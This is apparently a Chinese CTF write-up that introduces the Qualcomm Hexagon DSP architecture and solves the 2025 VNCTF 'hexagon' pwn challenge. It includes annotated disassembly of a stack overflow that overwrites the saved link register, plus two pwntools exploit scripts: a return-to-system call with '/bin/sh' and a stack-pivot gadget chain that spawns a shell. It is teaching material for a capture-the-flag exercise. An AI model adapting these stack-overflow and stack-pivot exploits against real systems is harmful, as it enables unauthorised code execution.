Hexagon 学习Hexagon 是高通(Qualcomm)开发的 数字信号处理器(DSP) 架构,专为移动设备、物联网和边缘计算设计,以高效能、低功耗为核心优势。它被集成在高通骁龙(Snapdragon)系列芯片中
hexagon用allocframe开辟栈帧:LR压栈,FP压栈,SP减去一定数值向低地址开辟,FP设置成指向旧FP的指针。deallocframe/dealloc_return用于销毁栈帧/销毁栈帧并返回,从栈底取回FP和LR。
一共有32个32位通用寄存器,r0-r31。存在寄存器对,可以当做64位寄存器使用,如r0和r1可以合并成r1:0
r29-r31是别名寄存器。r29是SP,r30是FP,r31是LR寄存器。SP是栈顶寄存器,FP是栈(底)寄存器,LR是储存返回地址的寄存器。
看汇编感觉是类arm架构
主要的汇编有
12345allocframe(#0x10) #开辟栈空间add(r0,#-0x10) #加减乘除,有返回值call funcdealloc_return #pop and ret (类似pop,但是hexagon是么有pop滴)memw(r1) #取指针指向的内容
例题『2025VNCTF』hexagon1234567891011121314151617.text:00020460 .global vuln.text:00020460 vuln: // CODE XREF: main+90↓p.text:00020460 { allocframe(#0x10) }.text:00020464 { r0 = add(pc, ##aD@pcrel) } // "%d".text:0002046C { r1 = add(fp, #-0x10) }.text:00020470 { call scanf }.text:00020474 { r0 = #0 } // fd.text:00020478 { r1 = add(fp, #-8) } // buf.text:0002047C { r2 = #0x10 } // nbytes.text:00020480 { call read }.text:00020484 { r0 = add(pc, ##aCatHomeCtfLog@pcrel) } // "cat /home/ctf/log".text:0002048C { call system }.text:00020490 { nop.text:00020494 nop.text:00020498 nop.text:0002049C dealloc_return }.text:0002049C // End of function vuln
发现allocframe只开辟了0x10个字节的栈空间,然后read的起始地址是从fp-8开始的,再结合32位的4字节地址,显然有栈溢出8个字节,溢出到FP和LR的存储空间,而LR是存取返回地址的,便有劫持返回地址。
解法1-system执行看了官方wp之后
从libc.so中找到system,发现偏底层的system实现方式是通过posix_spawn进程创建函数(理解为fork+execve即可),通过对参数的简单分析,可以知道r1=”/bin/sh”,然后argv[] = {“sh”, “-c”, user_input, NULL};,而这个usr_input是通过fp-0x10输入的,详情自行查看posix_spawn的参数
然后回到题目发现一开始有一个scanf函数是输入fp-0x10的,那么局势就很明朗了,同时由于qemu的libc是不会改变的,因此传入一个/bin/sh的地址就行啦
libc地址的寻找:
这里是通过日志来寻找的
1set_tid_address(1073672412,1073672412,-4,0,1072439316,67108864) = 7
而这个1073672412是指针地址,通常由libc分配的存储tid(线程id)的,从libc中寻找到对应的结构体
12345.bss:0012F0DC __thread_list_lock:.space 1 // DATA XREF: __init_tp+70↑o.bss:0012F0DC // __post_Fork+28↑o ....bss:0012F0DD .space 1.bss:0012F0DE .space 1.bss:0012F0DF .space 1
相减获得libc_base=0x3FEC0000(算是取巧吧,因为我的qemu单步执行坏掉啦/(ㄒoㄒ)/~~)
本地环境与远程有差距,不过方法类似
123456789p = process(['qemu-hexagon' , '-d', 'in_asm,exec,cpu,nochain', '-strace', '-dfilter', '0x20420+0xc0', '-D', './log', './main'])libc_base=0x40810000fp=0x4080f078binsh = libc_base+0x119f7ru(b'\n')sl(tbs(binsh))payload = p32(0)*2+p32(fp+8)+p32(libc_base+0xBE7C0)s(payload)irt()
解法2-栈迁移对1血脚本学习。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051stack_addr = 0x4080f1c8libc_base= 0x3FEC0000gadget1 = 0x20534 # r0 = memw(fp + #var_8) dealloc_returngadget2 = libc_base + 0xDB2CC # r0 = memw(fp + #var_4) dealloc_returngadget3 = libc_base + 0x54630 # r0 = memw(fp -0x10 ) dealloc_returnret = 0x20538bss = 0x406d0bss = stack_addrtarget = 0x1039Ecall_system = 0x2048Cpayload = str(0x1000)sh.sendlineafter('Welcome back, hexagon player!\n', payload)payload = b'a'*8 + p32(bss+8) + p32(0x20474)sh.send(payload)payload = b'a'*8 + p32(bss-0x30+8) + p32(0x20474)sh.send(payload)payload = b'/bin/sh\x00' + p32(bss-0x20+0x8) + p32(0x20474)sh.send(payload)payload = p32(0x4080f198) + b'bbbb' + p32(bss-0x10+0x8) + p32(0x20474)sh.send(payload)payload = b'sh\x00\x00' + p32(0x2048C) + p32(bss-0x10) + p32(gadget3)sh.send(payload)# bss-0x30 /bin/sh # bss-0x2c xxxx# bss-0x28 bss-0x20+8# bss-0x24 start_read# bss-0x20 0x4080f198 # bss-0x1c bbbb# bss-0x18 bss-0x10+8# bss-0x14 start_read# bss-0x10 sh # bss-0xc 0xdeadbeaf# bss-8 bss-0x10# bss-4 gadget3# bss aaaa # bss+4 aaaa# bss+8 bss-0x30+8# bss+0xc start_readsh.interactive()
有意思的